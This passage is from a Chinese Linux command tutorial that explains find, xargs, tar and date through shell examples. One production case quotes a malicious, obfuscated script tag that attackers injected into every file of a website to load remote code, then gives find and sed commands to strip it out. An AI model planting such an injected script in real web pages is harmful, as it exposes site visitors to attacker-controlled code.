file1  file10  file2  file3  file4  file5  file6  file7  file8  file9
[[email protected] xx]# mkdir /null #<==建立一个空目录用于rsync删除文件使用。
[[email protected] xx]# rsync -az --delete --exclude "file10" /null/ /xx/
[[email protected] xx]# ls
file10

这部分内容请参考老男孩的博客:http://oldboy.blog.51cto.com/2561410/1650380。

(3)生产案例

范例8-32:这是几年前笔者为一家IT公司做技术顾问时遇到的一个实际问题,当时的一个lamp的服务器里,站点目录下的所有文件均被植入了如下内容:


<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>

包括图片文件也被植入了上述内容,网站打开时就会调用这个地址,显示一个广告,造成的影响很恶劣。虽然现在看起来这个问题很简单,但当时该公司的Linux运维花了很久都没搞定,后来经老男孩的指点,很快就搞定了。那么,具体该如何解决呢?

解决思路是遍历所有的目录和所有的文件,把以上被植入的内容删除掉。

具体的处理过程如下。

1)与运维人员确认问题,并详细确认问题的情况。

2)制定处理方案,先备份数据,然后,执行命令批量修改回来。

3)写下解决说明(类似本例这样),写完发给运维人员。

4)询问处理结果,并告知应详细查看日志,找出问题发生的根源。

5)提供亡羊补牢的解决方案(站点目录严格权限规划方案及新上线规范思路)。

从发现问题到解决问题的过程具体如下。

1)运营人员、网站用户发现问题,网站有弹窗广告。

2)运营人员报给开发人员,开发人员联系运维人员。开发和运维共同解决。

3)开发发现造成这个问题的原因就是所有站点目录下的文件均嵌入了一段js代码。

4)运维人员的解决办法是,先备份出问题的所有原始文件,然后用find+sed替换,如果有备份数据也可以将备份数据还原。

5)详细查看日志,寻找问题发生的根源。

6)提供亡羊补牢的解决方案(站点目录严格权限规划方案及新上线规范思路)。

示例处理命令如下:


[[email protected] ett]# find . -type f|xargs sed -i 's#<script language=javascript src=http://%4%66E%78%6F%72%67%2E%70%6F/x.js?google_ad=93x28_ad></script>##g'

也可以直接清理指定的行,命令如下:


[[email protected] ett]# find . -type f|xargs sed -i '/*x.js?google_ad*/d'

范例8-33:已知Apache服务的访问日志按天记录在服务器本地目录/app/logs下,由于磁盘空间紧张,现在要求只能保留最近7天的访问日志!请问如何解决?

对于这个问题,可以从Apache服务配置上着手,也可以从生成出来的日志上着手。

首先,生成测试文件,脚本如下(命令行直接执行即可):


for n in `seq 14`
do
    date -s "2014/08/$n"
    touch access_www_`(date +%F)`.log
done
date -s "2014/08/15"

生成的文件如下所示:


[[email protected] log]# ls
access_www_2014-08-01.log  access_www_2014-08-05.log  access_www_2014-08-09.log
access_www_2014-08-13.log
access_www_2014-08-02.log  access_www_2014-08-06.log  access_www_2014-08-10.log
access_www_2014-08-14.log
access_www_2014-08-03.log  access_www_2014-08-07.log  access_www_2014-08-11.log
access_www_2014-08-04.log  access_www_2014-08-08.log  access_www_2014-08-12.log
[[email protected] log]# date -s "2014/08/15"
Fri Aug 15 00:00:00 CST 2014

解决上述问题的方法有如下四种:


①find . -type f -name "access*.log" -mtime +7|xargs rm -f  
②find . -type f -name "access*.log" -mtime +7 -exec rm -f {} \;
③find . -type f -name "access*.log" -mtime +7 -delete  #<==-delete是find命令的参数,可以将查找出的文件删除。
④从Apache服务配置上着手,用cronolog软件轮询日志
CustomLog "|/usr/local/sbin/cronolog  /app/logs /access_www_%w.log"  combined 
总共生成7天日志1-7,下周又覆盖1-7的日志

(4)拓展知识:将找到的文件移动到指定位置的方法

将找到的文件移动到指定位置,可以采用如下几种经典方法(同样适用于cp复制场景)。


方法1:
find . -name "*.txt"|xargs -i mv {} dir2/ #<==xargs的-i参数使得{}可代替find找到的内容。
方法2:
find . -name "*.txt"|xargs mv -t dir2/    #<==mv命令的-t选项前面已讲解过,可以颠倒源和目标。
方法3:
mv `find . -name "*.txt"` dir2/         #<==反引号"的作用是优先执行它包含的内容。

方法1中xargs的-i参数使得{}可代替find找到的内容,最终作为mv命令的源复制到dir2目录下,而方法2是利用mv的-t命令来颠倒源和目标的,因为find找到的结果通过xargs默认会作为命令的目标,即“mv dir2/目标”,这显然是错的。方法3是利用mv命令的基本语法,然后将find命令用反引号括起来作为源进行操作。

(5)拓展知识:find命令结合exec和xargs使用的区别

find命令结合exec和xargs使用的区别具体见表8-10。

表8-10 find命令结合exec和xargs使用的区别

使用-exec选项命令操作的示例及结果如下:


[[email protected] ~]# find . -type f -exec echo oldboyedu {} \;  #<==从命令的执行结果中可以看到,每次获得一个文件就输出一次。
oldboyedu ./.viminfo
oldboyedu ./anaconda-ks.cfg
oldboyedu ./install.log
oldboyedu ./install.log.syslog
oldboyedu ./.bash_logout
oldboyedu ./.cshrc
oldboyedu ./ls.txt
oldboyedu ./.bash_history
oldboyedu ./.lesshst
oldboyedu ./oldboy.log
oldboyedu ./test.txt
oldboyedu ./.tcshrc
oldboyedu ./GB2312.txt
oldboyedu ./.bash_profile
oldboyedu ./.bashrc

使用xargs命令操作的示例及结果如下:


[[email protected] ~]# find . -type f |xargs echo  oldboyedu #<==输出结果只有一行,xargs获取到所有文件名一次性输出。
oldboyedu ./.viminfo ./anaconda-ks.cfg ./install.log ./install.log.syslog ./.bash_logout ./.cshrc ./ls.txt ./.bash_history ./.lesshst ./oldboy.log ./test.txt ./.tcshrc ./GB2312.txt ./.bash_profile ./.bashrc

xargs还能控制每行输出的参数个数,示例代码如下(更多使用方法见xargs命令):


[[email protected] ~]# find . -type f |xargs -n 3 echo  oldboyedu  #<==使用-n 3指定每次输出3个参数。
oldboyedu ./.viminfo ./anaconda-ks.cfg ./install.log
oldboyedu ./install.log.syslog ./.bash_logout ./.cshrc
oldboyedu ./ls.txt ./.bash_history ./.lesshst
oldboyedu ./oldboy.log ./test.txt ./.tcshrc
oldboyedu ./GB2312.txt ./.bash_profile ./.bashrc

验证区别二的案例:


[[email protected] ~]# touch "oldboy edu"     #<==创建一个文件名带有空格的特殊文件。
[[email protected] ~]# ll -h "oldboy edu"
-rw-r--r-- 1 root root 0 May 17 16:30 oldboy edu
[[email protected] ~]# find . -name "*oldboy*" -exec ls -lh {} \; #<==使用-exec参数正常使用。
-rw-r--r-- 1 root root 0 May 17 16:30 ./oldboy edu
[[email protected] ~]# find . -name "*edu*"|xargs ls -lh          #<==使用xargs命令无法正常打印。
ls: cannot access ./oldboy: No such file or directory
ls: cannot access edu: No such file or directory

8.3.7 xargs:将标准输入转换成命令行参数

1.命令详解

【命令星级】  ★★★★☆

【功能说明】

xargs命令是向其他命令传递命令行参数的一个过滤器,它能够将管道或者标准输入传递的数据转换成xargs命令后所跟命令的命令行参数。

【语法格式】


xargs  [option]
xargs  [选项]

说明:

xargs命令以及后面的选项之间至少要有一个空格。

【选项说明】

表8-11针对xargs命令的参数选项进行了说明。

表8-11 xargs命令的参数选项及说明

2.使用范例

范例8-34:多行输入变单行的示例。


[[email protected] ~]# cat test.txt     #<==这是测试文本。
1 2 3 4 5 6
7 8 9
10 11
[[email protected] ~]# xargs < test.txt #<==将所有数字变成一行,注意xargs不能直接接文件,需要结合输入重定向符“<”。
1 2 3 4 5 6 7 8 9 10 11

范例8-35:通过-n指定每行输出个数的示例。


[[email protected] ~]# xargs -n 3 < test.txt #<==每行最多输出3个。
1 2 3
4 5 6
7 8 9
10 11

范例8-36:自定义分隔符(使用-d功能)的示例。


[[email protected] ~]# echo splitXsplitXsplitXsplitX                 #<==echo将文本打印到屏幕上。
splitXsplitXsplitXsplitX
[[email protected] ~]# echo splitXsplitXsplitXsplitX|xargs -d X      #<==以X作为分隔符。
split split split split
[[email protected] ~]# echo splitXsplitXsplitXsplitX|xargs -d X -n 2 #<==以X作为分隔符且每行最多输出2个。
split split
split split

提示:该参数类似于cut命令的-d参数以及seq参数的-s参数。

范例8-37:参数-I可以指定一个替换的字符串。

这个参数的功能不是很好理解,需要做个铺垫,使用xargs的-i选项可以让{}代替前面find命令找到的文件或目录,命令如下:


[[email protected] data]# find . -name "*.log"|xargs -i mv {} dir1/ #<==这个例子在find命令中已经讲解过了。
[[email protected]ldboy data]# ls
dir1  file1.txt  file4.txt  file5.txt

从上面的示例代码中可以看出,使用-i选项可以用{}代替find查找的结果,而-I选项可以指定其他字符代替{},例如[]。


[[email protected] data]# find . -name "file*"|xargs -I [] cp [] dir2
[[email protected] data]# ls
dir1  dir2  file1.txt  file4.txt  file5.txt
[[email protected] data]# ls dir2/
file1.txt  file4.txt  file5.txt
[[email protected] data]#

范例8-38:结合find使用xargs的特殊案例。

我们常用的删除文件的安全方法是find.-type f-name"*.txt"|xargs rm-f,但有时这个方法还是会出现一些小问题。比如说在tmp目录下有一个名为“hello world.txt”的文件,这种情况应该如何删除它呢?

首先模拟创建看看,直接通过“touch hello world.txt”来创建是不行了,这样做会创建两个文件。下面是两种创建方法。


[[email protected] tmp]# ls
[[email protected] tmp]# touch "hello word.txt"    #<==第一种创建方法。
[[email protected] tmp]# ls
hello word.txt
[[email protected] tmp]# touch hello\ everyone.txt #<==第二种创建方法,反斜线后有一个空格,此时反斜线对空格进行了转义。
[[email protected] tmp]# ls
hello everyone.txt  hello word.txt

这里先用find.-type f-name"*.txt"|xargs rm查看一下结果:


[[email protected] tmp]# find . -type f -name "*.txt"|xargs rm
rm: cannot remove `./hello': No such file or directory
rm: cannot remove `word.txt': No such file or directory
rm: cannot remove `./hello': No such file or directory
rm: cannot remove `everyone.txt': No such file or directory

出现上述问题的原因是xargs误认为它们的分隔符是空格,解决方法是以字符null分隔输出,这时使用-0选项,就可以正确执行了,命令如下:


[[email protected] tmp]# find . -type f -name "*.txt" -print0|xargs -0 rm -f
#<==这样就不会有问题了。
[[email protected] tmp]# ls

8.4 tar:打包压缩命令

8.4.1 命令详解

【命令星级】  ★★★★★

【功能说明】

tar是Linux系统里将多个文件打包在一起并且可以实现将打包的文件解压的命令。tar是系统管理员最常用的命令之一,tar命令不但可以实现对多个文件进行打包,还可以实现对多个文件打包后进行压缩。

打包是指将一大堆文件或目录变成一个总的文件,压缩则是将一个大的文件通过一些压缩算法变成一个小的文件。

【语法格式】


tar  [option]  [file]
tar  [选项]     [文件或目录]

说明:

在tar命令及后面的选项里,每个元素之间都至少要有一个空格。

【选项说明】

tar命令的参数选项的使用有点特殊,对于CentOS Linux来说“tar-z”和“tar z”效果相同,加或不加“-”这个符号都是可以的,这是重点。具体说明参见表8-12。

表8-12 tar命令的参数选项及说明

8.4.2 使用范例

1.基础范例

范例8-39:备份站点目录html。


[[email protected] ~]# mkdir -p /var/www/html/oldboy/test   #<==先生成测试文件。
[[email protected] ~]# touch /var/www/html/{1..5}.html      #<==创建5个待备份文件。
[[email protected] ~]# ls /var/www/html/
1.html  2.html  3.html  4.html  5.html  oldboy 
[[email protected] ~]# cd /var/www/                          #<==进入到目标目录的上一级目录打包。
[[email protected] www]# ls
html
[[email protected] www]# tar zcvf www.tar.gz ./html/ 
          #<==选项v会显示打包的过程,大家需要记住常用的打包命令组合zcvf,如果不想显示打包过程,则可以省略v选项,即选项组合为zcf。
./html/
./html/1.html
./html/5.html
./html/3.html
./html/oldboy/
./html/oldboy/test/
./html/2.html
./html/4.html
[[email protected] www]# ll -h www.tar.gz 
-rw-r--r-- 1 root root 260 Nov 18 17:26 www.tar.gz

范例8-40:查看压缩包内的内容。


[[email protected] www]# tar ztvf www.tar.gz     #<==使用选项t不解压就可以查看压缩包的内容,选项v可以显示文件的属性。
drwxr-xr-x root/root         0 2019-11-18 17:15 ./html/
-rw-r--r-- root/root         0 2019-11-18 17:26 ./html/10.html
-rw-r--r-- root/root         0 2019-11-18 17:26 ./html/8.html
……
[[email protected] www]# tar ztf www.tar.gz     #<==省略v选项。
./html/
./html/2.html
./html/1.html
……
[[email protected] www]# tar tf www.tar.gz     #<==如果不指定z选项,那么tar命令也会自动判断压缩包的类型,自动调用gzip命令。
./html/
./html/2.html
./html/1.html
……

范例8-41:解压缩包的示例。


[[email protected] /]# tar zxvf www.tar.gz -C /tmp/     #<==选项C指定解压路径,不加C解压到当前目录。
./html/
./html/1.html
./html/2.html
……
[[email protected] www]# ls /tmp/html/
1.html  2.html  3.html  4.html  5.html  oldboy 
[[email protected] /]# tar xf www.tar.gz -C /tmp/     #<==如果不想看到太多的输出,则可以去掉v选项,功能不会受到影响。同时z选项也可以省略,只要涉及解压的操作,tar命令就能自动识别压缩包的压缩类型,但是压缩时必须要加上z选项。

说明:

tar xfC www.tar.gz/tmp/这种格式也可以,但是没有上面的命令直观好记。

范例8-42:排除打包的示例。


[[email protected] www]# tar zcvf www.tar.gz ./html/ --exclude=html/oldboy/test    #<==test目录的结尾不要加“/”,否则会不成功。
./html/
./html/1.html
./html/5.html
./html/3.html
./html/oldboy/
./html/2.html
./html/4.html
[[email protected] www]# tar zcvf www.tar.gz ./html/ --exclude=html/oldboy/test --exclude=html/oldboy #<==排除2个以上目录的方法:并列使用多个--exclude。
./html/
./html/1.html
./html/5.html
./html/3.html
./html/2.html
./html/4.html

范例8-43:打包软链接文件的示例。


[[email protected] www]# cd /etc/
[[email protected] etc]# tar zcf local.tar.gz ./rc.local  #<==使用常规参数zcf打包。
[[email protected] etc]# tar tfv local.tar.gz             #<==不解压查看文件内容。
lrwxrwxrwx root/root         0 2019-02-09 21:59 ./rc.local -> rc.d/rc.local
#<==这里是一个坑,如果不加特殊参数,那么打包之后的文件将是个软链接文件,而不是rc.local的实体内容。

采用-h参数打包链接文件,示例代码如下:


[[email protected] etc]# tar zcfh local_h.tar.gz ./rc.local  #<==额外加上h参数进行打包。
[[email protected] etc]# tar tfv local_h.tar.gz               
-rwxr-xr-x root/root       220 2014-10-16 22:53 ./rc.local

对比压缩包内的文件类型之后,大家应该可以看出区别了吧?利用tar的通用选项zcf打包文件时,如果这个文件是链接文件(如/etc/rc.local),那么tar只会对链接文件本身打包,而不是对链接文件指向的真实文件打包,因此还需要额外使用-h选项将软链接文件对应的实体文件打包。

2.生产案例

范例8-44:对/etc目录下所有的普通文件打包。


[[email protected] www]# cd /etc/
[[email protected] etc]# ls
abrt                       inputrc                       quotatab
acpi                       iproute2                      rc
…………
#<==如果etc下包含有目录、普通文件等,那么怎样才能将普通文件找出来并打包在一个文件中?
[[email protected] /]# tar zcvf etc.tar.gz `find etc/ -type f`  
     #<==使用find命令找到所有普通文件,在tar命令语句中嵌套一个反引号包含的find命令语句。
etc/ld.so.conf.d/kernel-2.6.32-573.el6.x86_64.conf
etc/ld.so.conf.d/mysql-x86_64.conf
etc/prelink.conf.d/nss-softokn-prelink.conf
etc/mailcap
…………输出省略
[[email protected] /]# ll -h etc.tar.gz 
-rw-r--r-- 1 root root 9.3M Nov 18 18:34 etc.tar.gz

8.4.3 经验技巧

在打包时,有以下经验技巧可供读者参考。

1)在打包一个目录之前,先进入到这个目录的上一级目录,然后执行打包命令,这是大部分情况下打包文件的规范操作流程。少数情况下,当打包需要完整的目录结构时,可以使用绝对路径进行打包,但是需要注意解压tar包时压缩包内的文件是否会覆盖原始文件。

2)打包模型为:tar zcf/路径/筐.tar.gz相对路径/苹果。打包其实就是将苹果放进筐里。

8.5 date:显示与设置系统时间

8.5.1 命令详解

【命令星级】  ★★★★★

【功能说明】

date命令用于显示当前的系统时间或设置系统时间。

【语法格式】


date  [option]  [+FORMAT]
date  [选项]    [+日期格式]

【选项说明】

表8-13针对date命令的参数选项进行了说明。

表8-13 date命令的参数选项及说明

8.5.2 使用范例

范例8-45:常用时间格式测试例子。

大家可以对着上面的表格逐一测试参数,这里限于篇幅仅列举一部分:


[[email protected] ~]# date +%y #<==显示年(短格式)。
17
[[email protected] ~]# date +%Y #<==显示年(长格式)。
2017
[[email protected] ~]# date +%m #<==显示月。
07
[[email protected] ~]# date +%d #<==显示日。
06
[[email protected] ~]# date +%H #<==显示小时。
21
[[email protected] ~]# date +%M #<==显示分。
01
[[email protected] ~]# date +%S #<==显示秒。
25
[[email protected] ~]# date +%F #<==显示特殊格式日期(年-月-日)。
2017-07-06
[[email protected] ~]# date +%T #<==显示特殊格式时间(时:分:秒)。
21:03:08

范例8-46:通过参数-d显示指定字符串所描述的时间的示例。


[[email protected] ~]# date +%F -d "-1day"       #<==显示昨天(简洁写法)。
2017-07-05
[[email protected]ldboy ~]# date +%F -d "yesterday"   #<==显示昨天(英文写法)。
2017-07-05
[[email protected] ~]# date +%F -d "-2day"       #<==显示前天。
2017-07-04
[[email protected] ~]# date +%F -d "+1day"       #<==显示明天。
2017-07-07
[[email protected] ~]# date +%F -d "tomorrow"    #<==显示明天(英文写法)。
2017-07-07
[[email protected] ~]# date +%F -d "+2day"       #<==显示2天后。
2017-07-08
[[email protected] ~]# date +%F -d "1month"      #<==显示1个月后。
2017-08-06
[[email protected] ~]# date +%F -d "1year"       #<==显示1年后。
2018-07-06
#<==说明:这里的+号表示未来,-号表示过去,day表示日,year表示年,month表示月
[[email protected] ~]# date +%F -d "24hour"
2017-07-07
[[email protected] ~]# date +%F -d "1440min"
2017-07-07
[[email protected] ~]# date +%F -d "-1440min"
2017-07-05

说明:

这里的hour表示小时,min表示分。

范例8-47:时间格式转换例子。


[[email protected] ~]# date -d "Thu Jul  6 21:41:16 CST 2017" "+%Y-%m-%d %H:%M:%S"
2017-07-06 21:41:16

说明:

-d选项后面应接上需要转化的时间,最后再接上你想要输出的时间格式。

下面是一个企业面试题,要求转换日志的时间格式,解答该题会利用到上面的知识点,同时还会使用awk命令。

备用数据如下:


[[email protected] ~]# cat test.log 
Sat May 19 13:40:02 CST 2019 is 13213213
Sat May 19 19:37:43 CST 2019 is 1012122
Sat May 19 13:40:03 CST 2019 is 13213213
Sat May 19 19:37:42 CST 2019 is 1012122
Sat May 19 13:40:03 CST 2019 is 13213213
Sat May 19 19:37:43 CST 2019 is 1012122

解答过程如下:


[[email protected] ~]# awk -F "is" '{print "echo $(date -d \""$1"\" \"+%F %T \")",$2}' test.log
#<==对内容按照命令进行拼接。
echo $(date -d "Sat May 19 13:40:02 CST 2019 " "+%F %T ")  13213213
echo $(date -d "Sat May 19 19:37:43 CST 2019 " "+%F %T ")  1012122
echo $(date -d "Sat May 19 13:40:03 CST 2019 " "+%F %T ")  13213213
echo $(date -d "Sat May 19 19:37:42 CST 2019 " "+%F %T ")  1012122
echo $(date -d "Sat May 19 13:40:03 CST 2019 " "+%F %T ")  13213213
echo $(date -d "Sat May 19 19:37:43 CST 2019 " "+%F %T ")  1012122
[[email protected] ~]# awk -F "is" '{print "echo $(date -d \""$1"\" \"+%F %T \")",$2}' test.log|bash
2019-05-19 13:40:02 13213213
2019-05-19 19:37:43 1012122
2019-05-19 13:40:03 13213213
2019-05-19 19:37:42 1012122
2019-05-19 13:40:03 13213213
2019-05-19 19:37:43 1012122
#<==命令说明:使用is作为分隔符,$1是“Sat May 19 13:40:02 CST 2019”,$2是“13213213”,首先使用date命令对原时间格式进行转换,然后利用awk拼凑出如下格式,最后使用bash执行命令。

范例8-48:通过参数-s设定时间。


[[email protected] ~]# date -s 20170706              #<==设置成20170706,具体时间为空即00:00:00。
Thu Jul  6 00:00:00 CST 2017
[[email protected] ~]# date -s 00:00:03               #<==设置具体时间,不会对日期做更改。
Thu Jul  6 00:00:03 CST 2017
[[email protected] ~]# date -s "00:00:03 20170706"    #<==这样可以设置全部时间。
Thu Jul  6 00:00:03 CST 2017
[[email protected] ~]# date -s "00:00:03 2017-07-06"  #<==日期可使用不同的格式。
Thu Jul  6 00:00:03 CST 2017
[[email protected] ~]# date -s "00:00:03 2017/07/06"  #<==日期可使用不同的格式。
Thu Jul  6 00:00:03 CST 2017

8.6 本章重点

1)Linux中的文件类型知识。

2)重点要掌握的命令:which、find、xargs、tar、date。